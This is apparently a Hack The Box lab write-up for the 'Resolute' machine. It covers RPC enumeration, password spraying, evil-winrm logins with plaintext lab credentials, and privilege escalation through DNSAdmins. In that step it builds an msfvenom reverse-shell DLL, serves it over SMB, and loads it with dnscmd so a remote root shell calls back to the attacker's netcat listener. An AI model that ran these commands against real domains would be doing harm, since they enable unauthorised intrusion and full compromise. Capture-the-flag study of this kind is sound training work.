Hackthebox - Resolute

  • Windows

Resolute

Nmap

enu4linux

rpcclient

  • rpcclient is really powerful for this

  • If we play around a little we can try to change password but it does not work. Except we get a different error depending on the user we try on

  • So let's query user marco

  • We get a password. We can not connect with this user as marko.

  • We might need to password spray as we have many users. Let's make a list of user from our enum4linux results. We get a valid user password spray

  • we should try to get a shell with evil-winrm except mine is broken. No impacket module seem to work.

  • I decided to install parrot os just to try it. So I now have a evil-winrm working.

  • evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'. It works! We get a shell evil-winrm melanie

Privilege Escalation

  • I got lucky while looking around and found this folder C:\PSTranscripts\20191203>

  • There we have a file with a password for Ryan in it Password

  • ryan Serv3r4Admin4cc123!

  • So we can try this password with evil-winrm as well

ryan
  • There is a note in the desktop. Turns out akk changes will be reverted within 1 minute

  • Let's find out more about Ryan

  • Here we can see that Ryan has 2 groups that melanie did not have DNSAdmins and Contractors

  • With some research we find this blog which also refers to this one

  • We could also probably use this tool

  • It should be here C:\Windows\System32\Dnscmd.exe

  • So first we need to create a malicious dll msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f dll -o gabrielle.dll

  • We serve it to the target using smbserver.py sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support share .

  • Let's already launch a listener sudo rlwrap nc -nlvp 443

  • Here is the command from the documentation on lolbas dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll

  • So in my case C:\Users\ryan\Desktop> C:\Windows\System32\Dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\gabrielle.dll

get dll

Do not forget to add share in your path I forgot and it took me a while to understand why ^_^''

  • Now we need to start and stop dns

    • sc.exe \\resolute stop dns

    • sc.exe \\resolute star dns

  • And we get a root shell

root

Last updated